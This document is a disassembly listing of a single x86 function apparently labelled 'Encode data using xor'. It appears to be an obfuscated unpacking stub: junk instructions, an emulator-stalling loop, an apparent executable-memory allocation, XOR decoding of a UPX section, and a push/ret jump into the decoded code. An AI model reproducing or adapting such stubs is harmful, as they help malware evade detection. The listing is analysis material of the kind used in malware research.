Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x28c7794a
or edx, ecx
add ecx, edx
popal
sub edx, ecx
sub edx, 0x20c9731f
and ecx, ecx
mov edi, 0
mov ecx, esi
add edx, edx
sub eax, edx
mov eax, 0x7640c312
mov ebx, ecx
or edx, eax
dec edx
mov eax, edx
mov esi, ebx
and edx, eax
sub edx, eax
not eax
add edi, 1
not edx
sub eax, 0x75566df6
add edx, eax
cmp edi, 0x1007c5c
jne 0xa789c6
add edx, 0x1bc82a10
sub eax, edx
mov ecx, 0x4550fb0c
mov edx, ecx
inc ecx
mov edx, 0xa78796
add edi, 1
mov ebx, 0xd94099c5
mov ecx, 0xa7898a
add edi, 0xc88c1ee3
and esi, ebx
mov eax, dword [edx]
not edi
inc ebx
add ebx, esi
and eax, 0xff
sub esi, 0x2c9cc48d
or esi, edi
add edi, 0x82808937
xor dword [ecx], eax
or esi, esi
and esi, ebx
inc ecx
add ebx, esi
and ebx, esi
inc edx
sub edi, 0x429f6315
and ebx, esi
cmp ecx, entry0
jl 0xa78a29
dec edi
inc esi
mov esi, ebx
sub edi, 0xb2e8acb9
and esi, esi
add ebx, 1
add ecx, ecx
dec edi
sub ebx, 0xda91929f
mov esi, 0xa7898e
dec ecx
and ecx, edi
add edi, 0xb1930a21
mov esi, dword [esi]
inc edx
not edi
mov esi, dword [esi]
sub ecx, 0x494c8c9b
or edx, ebx
sub esp, 4
mov dword [esp], esi
dec ebx
mov edi, 0x84b3544e
or ebx, ebx
mov esi, 0xa7898a
mov ebx, edx
add edi, ebx
sub ebx, 0x866c0d33
mov esi, dword [esi]
mov edi, 0xc9a22d7
inc edi
mov esi, dword [esi]
sub ecx, edx
add edi, ebx
sub edx, edi
push 0xa78992
sub edi, 0x51640eff
add edi, ebx
mov edi, 0x292d2cec
call esi
add edi, edi
not edx
mov esi, dword [esp]
add esp, 4
not edi
dec ebx
add edi, ebx
push 0xa7899f
add edi, 0xd111cd79
add ecx, 0x280634ed
push eax
or edi, edi
and ecx, ecx
call esi
mov edx, ebx
sub edi, 0xb6bc7537
push 0x40
add ecx, 0x71fc23b1
sub ecx, 0x2c8366a2
push 0x3000
and edi, edi
add ecx, ebx
or edi, edx
push 0x2000012f
dec edi
sub edi, ebx
push 0
sub edx, 0x70cec662
or edi, edx
mov edx, 0x6c438d76
call eax
sub edx, 0x8cad05db
add ecx, edx
add edi, ebx
add eax, 0x20000088
or ebx, edi
sub ebx, 0xf2c35642
inc edi
mov esi, 0x3f2115a7
sub edx, 0x312710b
inc edi
mov dword [eax], esi
mov ebx, 0x88d8da23
sub edx, 0xfcaf2de5
inc edi
mov esi, dword [eax]
sub ecx, 0xb9cb1dcf
inc ebx
sub edx, edi
cmp esi, 0x3f2115a7
je 0xa78b91
mov edx, 0
mov dword [edx], eax
mov edi, edx
sub ebx, edi
sub edx, edi
sub edi, 0xe27d862c
sub edi, ebx
and ecx, ecx
mov edx, 0xb38ec0a5
mov edx, 0x826f3350
mov esi, section.UPX1
or edx, edx
add ecx, 0xe1f078d6
mov eax, 0xa78795
sub ecx, edx
and ecx, ecx
mov ebx, 0
mov edx, ecx
mov ecx, 0xca8623e3
add edx, edx
mov edi, 0xa78796
and ecx, edx
dec ecx
add edx, 0x703da10a
lea edi, [edi + ebx]
mov edx, 0xbba2a397
sub ecx, edx
mov ecx, 0xa5740032
mov edi, dword [edi]
inc ecx
sub edx, ecx
and edi, 0xff
sub ecx, 0xee9030d4
add ecx, 0xa5dca10f
add ebx, 1
add ecx, 0xc9e5fc24
dec ecx
cmp ebx, 0x1f4
jne 0xa78c1d
mov ebx, 0
mov ecx, 0xe49336b3
mov ecx, edx
mov ecx, edx
or ecx, edx
add ecx, 0x241af421
xor dword [esi], edi
sub edx, 0xffcc7c2b
not edx
add esi, 2
dec edx
or ecx, edx
cmp esi, eax
jl 0xa78bcf
sub edx, ecx
not edx
sub edx, ecx
and edx, edx
add ecx, ecx
mov edi, section.UPX1
mov ebx, edx
sub edx, 0xab8c652f
sub edx, 0x53f2ff62
mov eax, section.UPX1
and ebx, ebx
and edx, edx
mov edx, 0xea925cc8
mov esi, 0xa78795
not ebx
add ebx, edx
mov ecx, 0
dec edx
add ebx, ebx
not ebx
mov cl, byte [eax]
add edx, ebx
mov ebx, edx
or edx, edx
mov byte [edi], cl
sub ebx, 0x2b7c1745
mov ebx, edx
mov edx, ebx
add edi, 1
mov edx, 0x5b1d973f
dec ebx
add eax, 2
sub edx, 0xb98fb85d
sub edx, ebx
or ebx, ebx
cmp eax, esi
jle 0xa78c87
or edx, ebx
sub edx, 0xd9d232c6
mov edx, 0x2223da70
add ecx, 0x67754fe
sub ecx, 1
sub edx, 0xa7cf6ac7
push 0x8dc6a0
or edx, edx
mov edx, ecx
ret